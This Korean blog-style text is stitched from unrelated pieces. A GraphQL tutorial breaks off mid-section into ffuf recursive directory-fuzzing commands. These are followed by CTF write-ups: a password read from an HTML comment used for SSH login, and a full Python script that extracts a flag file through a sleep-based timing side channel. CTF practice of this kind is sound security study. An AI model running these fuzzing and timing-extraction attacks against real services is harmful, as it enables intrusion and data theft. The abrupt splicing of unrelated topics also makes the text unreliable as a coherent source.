book에 출판사나 출판일, 페이지 수 같은 다른 필드가 있었어도 클라이언트가 요청하지 않았기에 서버는 불필요한 데이터를 같이 보내지 않습니다.
2. Mutation - 데이터 변경
뮤테이션은 데이터에 대한 수정, 삭제, 생성을 할 때 사용합니다
REST의 POST, PUT, PATCH, DELETE에 해당하는 역할입니다.
mutation {
createReview(input: { #서버의 정의된 createReview 라는 뮤테이션 호출 (함수 호출)
bookId: "123"
rating: 5
comment: "정말 유익한 책입니다"
}) { #리뷰를 생성한 다음, 아래의 데이터를 돌려줘 라는 요청
id
rating
comment
createdAt
book {
title
averageRating
}
}
}
위의 요청을 별점과 리뷰를 작성하는 요청입니다.
보면 뮤테이션을 호출해서 별점과 리뷰를 작성하고, 응답으로 데이터를 받을 때 클라이언트가 원하는 데이터만 받는 형식입니다.
REST API 였다면 한 엔드포인트로 리뷰를 생성하고, 응답으로 리뷰 데이터를 받을 때 서버가 정해놓은 필드 전부가 돌아옵니다.
후에 내가 작성한 별점이 반영된 새 별점 평균을 알려고자 한다면 엔드포인트에 다시 한번 요청하여 새 별점 평균을 받아와야합니다.
이처럼 두 번의 요청과 불필요한 데이터를 응답받는 것을 GraphQL에서는 한 번의 요청과 필요한 데이터만을 응답받아 별도의 추가 요청이 필요없게 됩니다.
3. Subscription - 실시간 데이터
서브스크립션은 서버에서 특정한 이벤트가 발생할 때 클라이언트에게 자동으로 데이터를 푸시하는 방식입니다.
재고의 변동이나 배송 현황 같은 기능들을 서비스 할 때 주로 사용합니다.
subscription {
bookStockChanged(bookId: "123") { #bookStockChanged라는 서브스크립션에 대해 요청 (함수 요청)
bookId
title
stock
status
}
}
위와 같은 서브스크립션을 등록해두면, 누군가 책을 구매해서 재고가 변할 때 마다 저 데이터들을 서버가 자동으로 알려줍니다.
// 첫 번째 이벤트 (1권 구매)
{
"data": {
"bookStockChanged": {
"bookId": "123",
"title": "클린 코드",
"stock": 4,
"status": "IN_STOCK"
}
}
}
// 두 번째 이벤트 (마지막 구매, 재고 소진 알림)
{
"data": {
"bookStockChanged": {
"bookId": "123",
"title": "클린 코드",
"stock": 0,
"status": "OUT_OF_STOCK"
}
}
}
이런식으로 실시간 데이터와 상태를 받아야 할 때 서브스크립션이 사용됩니다.
서버 측 스키마 정의
위와 같은 세가지 동작을 위해서는, 서버에 미리 이런 기능들을 정의해둬야합니다.
그걸 스키마 정의라고 합니다.
서버가 클라이언트에게 이러이러한 기능들을 제공할께 라고 선언하는 부분입니다.
이 스키마가 존재함으로써 어떠한 기능들이 있는지 한 눈에 알아볼 수 있습니다.
또한 타입을 미리 정의함으로써 타입 안정성 역시 보장되는 장점이 있습니다.
위에서 예시 든 동작들에 대해서 아래와 같이 선언하겠습니다.
type Query {
book(id: ID!): Book
books(category: String, limit: Int): [Book]
user(id: ID!): User
}
type Mutation {
createReview(input: ReviewInput!): Review
updateCartItem(itemId: ID!, quantity: Int!): CartItem
deleteReview(id: ID!): DeleteResult
}
type Subscription {
bookStockChanged(bookId: ID!): StockUpdate
orderStatusUpdated(orderId: ID!): OrderStatus
}
각각 쿼리 타입, 뮤테이션 타입, 서브스크립션 타입에 대한 정의입니다.
쿼리 타입부터 보겠습니다.
type Query {
book(id: ID!): Book
books(category: String, limit: Int): [Book]
user(id: ID!): User
}
ffuf -u http://target.com/FUZZ -w wordlist.txt -recursion -recursion-depth 2
-recursion # 재귀 탐색 활성화
-recursion-depth 3 # 최대 깊이 설정 (기본값: 0 = 무제한, 위험!)
-recursion-strategy greedy # 전략 설정
설정
default - 응답 코드가 리다이렉트인 경우에만 디렉토리로 판단하고 재귀 진입
greedy - 매칭 된 모든 결과에 대해 재귀 진입
bzz로 압축 후 djvu 형식으로 파일을 만들어 cve와 동일하게 jpg파일을 만들었습니다.
처음에 cat 명령어를 더블쿼터로 감쌌더니 재대로 작동을 안해서, 싱글쿼터로 감싸주었습니다.
그 후 문제에 올려보면
이렇게 플래그가 출력됩니다.
FLAG : 0xfun{h1dd3n_p4yl04d_1n_pl41n_51gh7}
3. Perceptions
문제 설명처럼 블로그 페이지를 보여줍니다.
로그인 페이지에서 SQLi로 푸는 문제인가.. 했는데 적힌것 처럼 로그인 서비스가 재대로 작동하지 않았습니다.
해서 개발자도구에서 소스코드를 보다보니
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0"/>
<title>Secret Post</title>
<link rel="stylesheet" href="/style.css" />
<script src="/links.js"></script>
</head>
<body>
<header class="header">
<h1 id="name">[placeholder]'s Blog</h1>
</header>
<div class="container">
<aside class="sidebar">
<h2>Pages ✨</h2>
<nav>
<ul id="navlist">
</ul>
</nav>
</aside>
<main class="content">
<h2>Secret Post</h2>
<br>
<img src="/img/mystery.jpg" alt="How mysterious" />
<p>
Thought I'd make things a bit fun and hide a password on this page. When I get the login page working it will let you see some extra posts...
<!-- Use my name and 'UlLOPNeEak9rFfmL' to log in -->
</p>
</main>
</div>
</body>
</html>
주석에 패스워드가 적혀있었습니다.
id의 경우 /name 엔드포인트에 요청해보니 Charlie 라는걸 알 수 있었습니다.
해서 아이디는 Charlie, 패스워드는 UlLOPNeEak9rFfmL 라고 파악했습니다.
문제는 login 페이지가 작동을 안하는 상태인데, 이 계정을 어떻게 쓸 지 감을 못잡았습니다.
해서 클로드에게 좀 물어보다보니, SSH의 계정이지 않을까 라는 추측을 하게 되었습니다.
문제 설명을 보면, 하나의 포트에서 여러 서비스를 처리한다고 합니다.
해서 curl로 문제 서버 포트에 ssh 연결 요청을 보내보았습니다.
ssh Charlie@chall.0xfun.org -p 54919
놀랍게도 정답이었습니다.
비밀번호는 주석에서 알아낸 UlLOPNeEak9rFfmL를 입력해주니 통과가 되었습니다.
바로 쉘에 접속하게 되어서 파일들을 보다보니 누가봐도 플래그가 있는 파일을 찾았고
flag.txt를 열어보니 위처럼 플래그를 얻을 수 있었습니다.
FLAG : 0xfun{p3rsp3c71v3.15.k3y}
4. Schrödinger's Sandbox
좀 특이한 문제였습니다.
문제 서버에 접속하면 아래처럼 코드를 실행 시킬 수 있는 페이지가 나타납니다.
파이썬 코드를 실행하면 A와 B에서 코드가 실행되고, 그 시간을 보여줬습니다.
문제 설명을 보면 같은 코드가 각각 A와 B에서 실행되고, 실행되는 값이 동일 할 때 OUTPUT에 출력되는 구조라는걸 알 수 있었습니다.
해서 아마 진짜 플래그와 가짜 플래그가 각각 A와 B에 숨겨져 있을 것이고, 시간을 보여주는걸 보니 코드가 실행되는 시간의 차이로 진짜 플래그를 찾아야하는 것 같습니다.
import time
flag = open("/flag.txt").read()
if flag[0] == '0':
time.sleep(2)
print("done")
이런식으로 출력은 done으로 고정하여 두 서버가 동일한 출력을 하게 시키고, 대신 if문으로 flag의 첫 값이 0이라면 2초를 지연시키게 함으로써 두 플래그를 모두 알아보았습니다.
예로 첫글자가 0이라면 아래 지연시간에 2s가 적힐 것이고, 아니라면 0.01에 가까운 시간이 찍힐 것 입니다.
해서 파이썬으로 자동화코드를 짜서 해결하였습니다.
import requests
import hashlib
import time
import string
import random
URL = "http://chall.0xfun.org:40842"
KNOWN = "0xfun{"
SLEEP_TIME = 2
TIME_THRESHOLD = 1.0
CHARSET = (
string.ascii_lowercase +
"_" +
string.digits +
string.ascii_uppercase +
"-!}"
)
def compute_pow(difficulty=4):
target = '0' * difficulty
while True:
test = f"{int(time.time()*1000)}-{random.randint(0,999999)}-{random.random()}"
if hashlib.sha256(test.encode()).hexdigest().startswith(target):
return test
def submit_code(code):
pow_nonce = compute_pow(4)
try:
response = requests.post(
f"{URL}/api/submit",
json={"code": code},
headers={
"Content-Type": "application/json",
"X-Pow-Nonce": pow_nonce
},
timeout=30
)
return response.json()
except Exception as e:
print(f" 요청 실패: {e}")
return {"error": str(e)}
def test_char(position, char):
code = f"""import time
flag = open("/flag.txt").read()
if len(flag) > {position} and flag[{position}] == {repr(char)}:
time.sleep({SLEEP_TIME})
print("done")
"""
result = submit_code(code)
if 'error' in result:
print(f" 에러: {result['error']}")
return None
time_a = result.get('time_a', 0)
time_b = result.get('time_b', 0)
status = result.get('status', '?')
a_hit = time_a > TIME_THRESHOLD
b_hit = time_b > TIME_THRESHOLD
if a_hit and b_hit:
label = "<<< BOTH (둘 다 이 문자)"
elif a_hit:
label = "<<< A only"
elif b_hit:
label = "<<< B only"
else:
label = ""
print(f" [{char}] a={time_a:.4f} b={time_b:.4f} {status} {label}")
return {
"char": char,
"a_hit": a_hit,
"b_hit": b_hit,
"time_a": time_a,
"time_b": time_b,
}
def extract_flag():
# 검증 테스트
print("[*] 검증: flag[0]=='0' 테스트")
r = test_char(0, '0')
print()
flag_a = KNOWN # Sandbox A의 플래그
flag_b = KNOWN # Sandbox B의 플래그
print(f"[*] 시작: {KNOWN}")
print(f"[*] 위치 {len(KNOWN)}부터 탐색\n")
for pos in range(len(KNOWN), 100):
print(f"--- 위치 {pos} ---")
a_found = False
b_found = False
a_char = "?"
b_char = "?"
for char in CHARSET:
r = test_char(pos, char)
if r is None:
continue
if r["a_hit"] and not a_found:
a_char = char
a_found = True
if r["b_hit"] and not b_found:
b_char = char
b_found = True
# 둘 다 찾았으면 다음 위치로
if a_found and b_found:
break
time.sleep(0.3)
flag_a += a_char
flag_b += b_char
print(f"\n[+] A: {flag_a}")
print(f"[+] B: {flag_b}\n")
# 둘 다 못 찾으면 종료
if not a_found and not b_found:
print(f"[!] 위치 {pos}에서 둘 다 매칭 실패. 종료.")
break
# 둘 다 }를 만나면 종료
if a_char == '}' and b_char == '}':
break
print(f"\n=============================")
print(f"[*] Sandbox A 플래그: {flag_a}")
print(f"[*] Sandbox B 플래그: {flag_b}")
print(f"=============================")
if __name__ == "__main__":
extract_flag()